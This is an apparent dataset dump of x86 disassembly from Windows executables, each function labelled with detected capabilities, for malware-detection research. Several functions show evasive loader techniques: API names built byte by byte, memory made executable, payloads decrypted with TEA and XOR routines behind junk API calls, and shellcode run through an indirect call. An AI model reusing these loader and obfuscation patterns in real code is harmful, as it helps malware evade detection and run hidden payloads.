joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40a270
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4a6458]
jne 0x40a27a
repz ret
jmp fcn.0040cf9b

Function at 0x40c3b3
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4a6458]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00408529
and dword [ebp - 0x14], 0
cmp dword [0x4a8a00], 0
mov dword [ebp - 0x18], eax
jne 0x40c466
push 0x403e34
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40c50e
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x403e28
push ebx
call edi
test eax, eax
je 0x40c50e
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x403e18
push ebx
mov dword [0x4a8a00], eax
call edi
push eax
call esi
push 0x403e04
push ebx
mov dword [0x4a8a04], eax
call edi
push eax
call esi
push 0x403de8
push ebx
mov dword [0x4a8a08], eax
call edi
push eax
call esi
mov dword [0x4a8a10], eax
test eax, eax
je 0x40c466
push 0x403dd0
push ebx
call edi
push eax
call esi
mov dword [0x4a8a0c], eax
mov eax, dword [0x4a8a0c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40c4bf
cmp dword [0x4a8a10], ecx
je 0x40c4bf
push eax
call esi
push dword [0x4a8a10]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40c4bf
test ebx, ebx
je 0x40c4bf
call edi
test eax, eax
je 0x40c4b6
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40c4b6
test byte [ebp - 8], 1
jne 0x40c4bf
or dword [ebp + 0x10], 0x200000
jmp 0x40c4f2
mov eax, dword [0x4a8a04]
cmp eax, dword [ebp - 0x18]
je 0x40c4f2
push eax
call esi
test eax, eax
je 0x40c4f2
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40c4f2
mov eax, dword [0x4a8a08]
cmp eax, dword [ebp - 0x18]
je 0x40c4f2
push eax
call esi
test eax, eax
je 0x40c4f2
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4a8a00]
call esi
test eax, eax
je 0x40c50e
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40c510
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a270
leave
ret
Function at 0x4a1c50
Capabilities:
Allocate or change rwx memory

Disassembly:
push ecx
mov eax, 0x6b
mov edx, 0x72
mov word [0x82ca90], ax
mov word [0x82ca94], dx
mov ecx, 0x6e
mov edx, 0x65
xor eax, eax
push 0x82ca90
mov dword [0x82ca9c], 0x320033
mov dword [0x82caa4], 0x6c006c
mov word [0x82ca96], cx
mov dword [0x82ca98], 0x6c0065
mov dword [0x82caa0], 0x64002e
mov word [0x82ca92], dx
mov word [0x82caa8], ax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edx, dword [0x82ca8c]
lea ecx, [esp]
push ecx
push 0x40
mov dword [0x82ca88], eax
mov eax, dword [0x4adadc]
push edx
push eax
mov byte [0x4a8d53], 0x65
mov dword [0x4a8d49], 0x75747269
mov word [0x4a8d4d], 0x6c61
mov byte [0x4a8d48], 0x56
mov word [0x4a8d54], 0x7463
mov byte [0x4a8d56], 0
mov dword [0x4a8d4f], 0x746f7250
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop ecx
ret

Function at 0x4a1d40
Capabilities:
Delete directory
Get common file path
Manipulate console buffer

Disassembly:
mov eax, 0x1050
call fcn.0040cf70
cmp dword [0x82ca8c], 0x37
jne 0x4a1e14
push 0
call dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
push 0x4046b4
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
mov ecx, dword [esp]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_MapUserPhysicalPages]
push 0
lea edx, [esp + 0x454]
push edx
push 0x4046c4
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0
lea eax, [esp + 0x54]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [esp + 4]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
lea edx, [esp + 8]
push edx
push 0x4046d8
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
push 0x4046e4
push 0x4046f4
call dword [sym.imp.KERNEL32.dll_WriteProfileSectionA]
push 0
lea eax, [esp + 0x854]
push eax
push 0
push 0x40471c
push 0
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push 0
push 0
push 0
push 0x404748
push 0x404764
push 0x404774
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
mov ecx, dword [0x82da80]
mov dword [esp], ecx
mov eax, 0x5d1
add dword [esp], eax
mov edx, dword [esp]
mov al, byte [edx + esi]
mov ecx, dword [0x4adadc]
mov byte [ecx + esi], al
add esp, 0x1050
ret
Function at 0x4a1fa0
Capabilities:
Manipulate console buffer
Move file

Disassembly:
mov eax, dword [0x82ca8c]
sub esp, 0x2dc
push ebx
push ebp
push esi
mov esi, dword [0x4adadc]
shr eax, 3
push edi
test eax, eax
je 0x4a213b
mov dword [esp + 0x18], esi
mov dword [esp + 0x20], eax
jmp 0x4a1fd4
mov esi, dword [esp + 0x18]
cmp dword [0x82ca8c], 0x1c
jne 0x4a1ff1
lea eax, [esp + 0x34]
push eax
push 0
lea ecx, [esp + 0x44]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov edx, dword [0x4a7200]
mov eax, dword [0x4a7204]
mov ecx, dword [0x4a7208]
mov edi, dword [esi]
mov ebx, dword [esi + 4]
mov dword [esp + 0x24], edx
mov edx, dword [0x4a720c]
mov ebp, 0xc6ef3720
mov dword [esp + 0x30], eax
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x28], edx
mov dword [esp + 0x1c], 0x20
mov eax, edi
shr eax, 5
add eax, dword [esp + 0x28]
mov ecx, edi
shl ecx, 4
add ecx, dword [esp + 0x2c]
lea edx, [edi + ebp]
xor eax, ecx
xor eax, edx
sub ebx, eax
mov eax, ebx
shl eax, 4
mov dword [0x82c9fc], 0
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x24]
add dword [esp + 0x14], eax
cmp dword [0x82ca8c], 0x1be
jne 0x4a207d
lea ecx, [esp + 0x38]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov esi, ebx
shr esi, 5
add esi, dword [esp + 0x30]
cmp dword [0x82ca8c], 0x979
mov dword [0x82ca00], 0xff6b3619
mov dword [0x82ca04], 0xffffffff
jne 0x4a20ba
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorInfo]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
lea eax, [ebx + ebp]
xor esi, eax
mov eax, dword [esp + 0x14]
xor eax, esi
sub edi, eax
add ebp, 0x61c88647
dec dword [esp + 0x1c]
mov dword [esp + 0x14], eax
jne 0x4a202a
cmp dword [0x82ca8c], 0x8d4
jne 0x4a20f2
lea edx, [esp + 0x50]
push edx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov esi, dword [esp + 0x18]
mov dword [esi], edi
mov dword [esi + 4], ebx
cmp dword [0x82ca8c], 0x17
jne 0x4a212a
push 0
push 0
push 0
push 0x404690
push 0x4046a0
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressA]
lea eax, [esp + 0x98]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
add esi, 8
dec dword [esp + 0x20]
mov dword [esp + 0x18], esi
jne 0x4a1fd0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2dc
ret
Function at 0x43b649
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x43b3c1
sub ebx, ecx
push ecx
mov ebx, dword [esp]
add esp, 4
call fcn.0043b698
sub esp, 4
mov dword [esp], 0x8af6cd15
mov ebx, dword [esp]
add esp, 4
and ecx, ecx
xor dword [esi], edx
add ebx, 0xf9c92eb6
and ecx, ecx
and ebx, ebx
inc esi
and ecx, ecx
mov ebx, 0x94c181e6
cmp esi, eax
jne fcn.0043b649
dec ecx
or ecx, ecx
ret
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..pdata
nop
mov ebx, 0x40de38
mov ecx, 0x35e323de
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x433024
nop
mov eax, section..data
nop
nop
mov ebx, 0x4304d8
mov ecx, 0x4588449c
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
xor dword [eax], ecx
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x4edfcc
Capabilities:
Set console window title

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
push esi
shr edx, 3
xor esi, esi
cmp edx, esi
jbe 0x4ee0a0
push ebx
push edi
mov ebx, ecx
mov dword [ebp - 0xc], edx
cmp dword [0x961154], 0x319
jne 0x4ee088
xor eax, eax
mov word [ebp - 4], ax
lea edi, [ebp - 2]
stosw word es:[edi], ax
mov word [ebp - 8], ax
lea edi, [ebp - 6]
stosw word es:[edi], ax
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 8]
lea eax, [ebp - 0x14]
push dword [ebp - 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputW]
push esi
call dword [sym.imp.KERNEL32.dll_ZombifyActCtx]
push esi
lea eax, [ebp - 0x10]
push eax
push esi
lea eax, [ebp - 0x438]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push esi
call dword [sym.imp.KERNEL32.dll_AttachConsole]
lea eax, [ebp - 0x1c]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentConsoleFont]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [ebp - 0x38]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
mov edx, dword [ebp + 8]
mov ecx, ebx
call fcn.004ed61a
add ebx, 8
dec dword [ebp - 0xc]
jne 0x4edfea
pop edi
pop ebx
pop esi
leave
ret 4
Function at 0x4ee0ac
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x834
push ebx
push esi
push edi
push 0x401460
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401470
push eax
mov dword [0x8f94b4], eax
call esi
push 0x40147c
push dword [0x8f94b4]
mov dword [0x8f94ac], eax
call esi
push dword [0x961154]
xor esi, esi
push esi
mov dword [0x8f628c], eax
call dword [0x8f94ac]
lea ecx, [ebp - 4]
push ecx
push 0x40
push dword [0x961154]
mov dword [0x8f62a4], eax
push eax
call dword [0x8f628c]
xor edi, edi
cmp edi, 0x85b4
jge 0x4ee124
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetGeoInfoA]
cmp edi, 0x11c825e
jg 0x4ee149
inc edi
mov eax, edi
cdq
cmp edx, 0x3f
jl 0x4ee116
jg 0x4ee149
cmp eax, 0x45b08f85
jb 0x4ee116
mov eax, dword [0x4f8724]
mov dword [0x961158], eax
xor eax, eax
cmp dword [0x961154], esi
jbe 0x4ee17c
mov ecx, dword [0x961158]
mov cl, byte [ecx + eax + 0xb2d3b]
mov edx, dword [0x8f62a4]
mov byte [edx + eax], cl
inc eax
cmp eax, dword [0x961154]
jb 0x4ee15d
xor edi, edi
mov eax, dword [0x961154]
add eax, edi
cmp eax, 0x5e
jne 0x4ee1b9
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapCompact]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
push esi
lea eax, [ebp - 0x834]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetAtomNameW]
push esi
call dword [sym.imp.KERNEL32.dll_HeapLock]
push esi
call dword [sym.imp.KERNEL32.dll_HeapUnlock]
inc edi
cmp edi, 0xa69b
jl 0x4ee17e
mov edx, dword [0x961154]
mov ecx, dword [0x8f62a4]
push 0x4f8008
call fcn.004edfcc
xor eax, eax
cmp eax, 0x59d8
jne 0x4ee1eb
mov ecx, 0x8f62a4
call fcn.004ee0a5
inc eax
cmp eax, 0x356d83
jl 0x4ee1da
push 0x7b
pop ebx
cmp dword [0x961154], 0x54d
jne 0x4ee239
xor eax, eax
mov dword [ebp - 0x18], esi
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x34]
push eax
push 0x40148c
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push esi
lea eax, [ebp - 0x434]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
dec ebx
jne 0x4ee1f6
mov eax, dword [0x8f62a4]
mov dword [0x8f94bc], eax
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4ee24d
Capabilities:
Create thread
Get disk size
Get hostname
Manipulate console buffer
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x718
cmp dword [0x961154], 0x598
push ebx
push esi
push edi
jne 0x4ee2cf
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0x40149c
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
lea eax, [ebp - 4]
push eax
xor ebx, ebx
push ebx
push 0x4014ac
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetStringTypeA]
call dword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
xor eax, eax
mov dword [ebp - 0x28], ebx
lea edi, [ebp - 0x24]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x28]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
push ebx
call fcn.004eedd7
push ebx
push ebx
push ebx
call fcn.004eebb5
add esp, 0x10
call fcn.004eea14
push ebx
call fcn.004ee97c
mov esi, 0xa4808
xor ebx, ebx
cmp dword [0x961154], 0x57c
jne 0x4ee36a
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push 0x30
lea eax, [ebp - 0x58]
push ebx
push eax
mov dword [ebp - 0x5c], ebx
call fcn.004eee50
add esp, 0xc
lea eax, [ebp - 0x5c]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea eax, [ebp - 0x718]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
lea eax, [ebp - 0x318]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetMailslotInfo]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
xor eax, eax
mov word [ebp - 4], ax
lea edi, [ebp - 2]
stosw word es:[edi], ax
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
dec esi
jne 0x4ee2d6
mov esi, dword [0x4f96d4]
add esi, 0xb2d3b
mov eax, 0x4fb7c0
mov dword [0x961154], esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4ee38b
sub eax, edx
cmp eax, 0x1515
jne 0x4ee40b
cmp esi, 0x18
jne 0x4ee3d1
push ebx
push ebx
push ebx
lea eax, [ebp - 0xf8]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
push ebx
call sub.KERNEL32.dll_GetSystemPowerStatus
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ebx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
call dword [sym.imp.KERNEL32.dll_GetACP]
mov esi, dword [0x961154]
cmp esi, 0x9e6
jne 0x4ee3f5
lea eax, [ebp - 0xf0]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [ebp - 8]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
call fcn.004ee612
push ebx
push ebx
call fcn.004ee583
push ebx
call fcn.004eedd7
add esp, 0x10
call fcn.004ee0ac
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10
Function at 0x4ef2d9
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4faa6c]
jne 0x4ef2e3
repz ret
jmp fcn.004f2dc5

Function at 0x4f407f
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004efd5b
and dword [ebp - 4], 0
cmp dword [0x961c3c], 0
mov ebx, eax
jne 0x4f4130
push 0x402cfc
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4f41e1
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402cf0
push edi
call esi
test eax, eax
je 0x4f41e1
push eax
call fcn.004efce9
mov dword [esp], 0x402ce0
push edi
mov dword [0x961c3c], eax
call esi
push eax
call fcn.004efce9
mov dword [esp], 0x402ccc
push edi
mov dword [0x961c40], eax
call esi
push eax
call fcn.004efce9
mov dword [esp], 0x402cb0
push edi
mov dword [0x961c44], eax
call esi
push eax
call fcn.004efce9
pop ecx
mov dword [0x961c4c], eax
test eax, eax
je 0x4f4130
push 0x402c98
push edi
call esi
push eax
call fcn.004efce9
pop ecx
mov dword [0x961c48], eax
mov eax, dword [0x961c48]
cmp eax, ebx
je 0x4f4188
cmp dword [0x961c4c], ebx
je 0x4f4188
push eax
call fcn.004efd64
push dword [0x961c4c]
mov esi, eax
call fcn.004efd64
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4f4188
test edi, edi
je 0x4f4188
call esi
test eax, eax
je 0x4f417f
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4f417f
test byte [ebp - 0xc], 1
jne 0x4f4188
or dword [ebp + 0x10], 0x200000
jmp 0x4f41c1
mov eax, dword [0x961c40]
cmp eax, ebx
je 0x4f41c1
push eax
call fcn.004efd64
pop ecx
test eax, eax
je 0x4f41c1
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4f41c1
mov eax, dword [0x961c44]
cmp eax, ebx
je 0x4f41c1
push eax
call fcn.004efd64
pop ecx
test eax, eax
je 0x4f41c1
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x961c3c]
call fcn.004efd64
pop ecx
test eax, eax
je 0x4f41e1
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4f41e3
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40d93c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], edx
xor ecx, ecx
xor ebx, ebx
xor esi, esi
cmp dword [ebp + 8], ecx
jbe 0x40d9a6
nop dword [eax]
lea eax, [ebx + 1]
movzx ebx, al
mov dl, byte [ebx + edi]
movzx eax, dl
add eax, ecx
movzx ecx, al
mov dword [ebp - 8], ecx
movzx eax, byte [ecx + edi]
mov byte [ebx + edi], al
mov byte [ecx + edi], dl
movzx ecx, byte [ebx + edi]
movzx eax, dl
add ecx, eax
and ecx, 0x800000ff
jns 0x40d993
dec ecx
or ecx, 0xffffff00
inc ecx
movzx eax, byte [ecx + edi]
mov ecx, dword [ebp - 4]
xor byte [esi + ecx], al
inc esi
mov ecx, dword [ebp - 8]
cmp esi, dword [ebp + 8]
jb 0x40d95c
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4659a0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x457015
lea edi, [esi - 0x56015]
push edi
or ebp, 0xffffffff
jmp 0x4659c2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4659c9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4659b8
mov eax, 1
add ebx, ebx
jne 0x4659db
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4659d0
jne 0x4659ec
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4659d0
xor ecx, ecx
sub eax, 3
jb 0x465a00
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x465a72
mov ebp, eax
add ebx, ebx
jne 0x465a0b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x465a18
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x465a3c
inc ecx
add ebx, ebx
jne 0x465a28
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x465a1d
jne 0x465a39
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x465a1d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x465a5c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x465a4d
jmp 0x4659be
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x465a5c
add edi, ecx
jmp 0x4659be
pop esi
mov edi, esi
mov ecx, 0x33e
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x465a7a
cmp byte [edi], 0
jne 0x465a7a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x465a7f
lea edi, [esi + 0x63000]
mov eax, dword [edi]
or eax, eax
je 0x465aee
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x651f0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x65254]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x465aac
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x65258]
or eax, eax
je 0x465ae8
mov dword [ebx], eax
add ebx, 4
jmp 0x465ac9
call dword [esi + 0x6525c]
popal
jmp 0x40da18
Function at 0x40484c
Capabilities:
Hash data using sha256

Disassembly:
push esi
push edi
mov edi, eax
mov esi, ecx
call fcn.004047c4
xor eax, eax
mov edx, dword [eax + 0x426490]
mov ecx, dword [esi + 0xf4]
mov dword [eax + ecx], edx
add eax, 4
cmp eax, 0x20
jl 0x404859
mov eax, dword [esi + 0xf4]
xor dword [eax], 0x2080020
mov eax, dword [esi + 0xf4]
mov ecx, dword [esp + 0xc]
xor dword [eax + 8], ecx
mov esi, dword [esi + 0xf4]
or edi, 0x2000
shl edi, 0x10
xor dword [esi + 0xc], edi
pop edi
pop esi
ret 4
Function at 0x405538
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0x10]
push edi
test esi, esi
jbe 0x405565
test cl, 7
je 0x405565
movzx edx, byte [ecx]
movzx edi, al
xor edx, edi
shr eax, 8
xor eax, dword [edx*4 + 0x42c2a0]
dec esi
inc ecx
jmp 0x405546
cmp esi, 8
jb 0x405608
mov edx, esi
shr edx, 3
mov dword [ebp + 8], edx
push ebx
mov edx, dword [ecx + 4]
xor eax, dword [ecx]
mov ebx, edx
shr ebx, 0x10
movzx edi, bl
mov edi, dword [edi*4 + 0x42c6a0]
mov ebx, edx
shr ebx, 0x18
xor edi, dword [ebx*4 + 0x42c2a0]
mov ebx, edx
shr ebx, 8
movzx ebx, bl
xor edi, dword [ebx*4 + 0x42caa0]
mov ebx, eax
shr ebx, 0x18
xor edi, dword [ebx*4 + 0x42d2a0]
mov ebx, eax
shr ebx, 0x10
movzx ebx, bl
xor edi, dword [ebx*4 + 0x42d6a0]
mov ebx, eax
shr ebx, 8
movzx ebx, bl
xor edi, dword [ebx*4 + 0x42daa0]
movzx edx, dl
xor edi, dword [edx*4 + 0x42cea0]
movzx eax, al
xor edi, dword [eax*4 + 0x42dea0]
sub esi, 8
add ecx, 8
dec dword [ebp + 8]
mov eax, edi
jne 0x405577
pop ebx
jmp 0x405608
movzx edx, byte [ecx]
movzx edi, al
xor edx, edi
shr eax, 8
xor eax, dword [edx*4 + 0x42c2a0]
dec esi
inc ecx
test esi, esi
ja 0x4055f4
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x40592f
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d0
push ebx
push esi
mov esi, dword [ebp + 0xc]
push 0x40
pop ebx
cmp esi, ebx
jbe 0x405979
lea eax, [ebp - 0x1d0]
push eax
call fcn.00410335
push esi
push dword [ebp + 8]
lea eax, [ebp - 0x1d0]
push eax
call fcn.00410637
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x1d0]
push eax
call fcn.004106b0
lea eax, [ebp - 0x80]
push 0x20
mov dword [ebp + 8], eax
pop esi
xor ecx, ecx
push edi
test esi, esi
jbe 0x405999
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x40]
sub edi, eax
lea eax, [ebp + ecx - 0x40]
mov dl, byte [edi + eax]
xor dl, 0x36
inc ecx
mov byte [eax], dl
cmp ecx, esi
jb 0x405988
cmp esi, ebx
jae 0x4059b1
mov ecx, ebx
sub ecx, esi
push ecx
lea eax, [ebp + esi - 0x40]
push 0x36
push eax
call fcn.00419b00
add esp, 0xc
lea eax, [ebp - 0xf0]
push eax
call fcn.00410335
push ebx
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0xf0]
push eax
call fcn.00410637
push dword [ebp + 0x14]
lea eax, [ebp - 0xf0]
push dword [ebp + 0x10]
push eax
call fcn.00410637
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0xf0]
push eax
call fcn.004106b0
lea eax, [ebp - 0x160]
push eax
call fcn.00410335
xor ecx, ecx
test esi, esi
jbe 0x405a1b
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x40]
sub edi, eax
lea eax, [ebp + ecx - 0x40]
mov dl, byte [edi + eax]
xor dl, 0x5c
inc ecx
mov byte [eax], dl
cmp ecx, esi
jb 0x405a0a
pop edi
cmp esi, ebx
jae 0x405a34
mov ecx, ebx
sub ecx, esi
push ecx
lea eax, [ebp + esi - 0x40]
push 0x5c
push eax
call fcn.00419b00
add esp, 0xc
push ebx
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x160]
push eax
call fcn.00410637
push 0x20
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x160]
push eax
call fcn.00410637
push dword [ebp + 0x18]
lea eax, [ebp - 0x160]
push eax
call fcn.004106b0
pop esi
pop ebx
leave
ret 0x14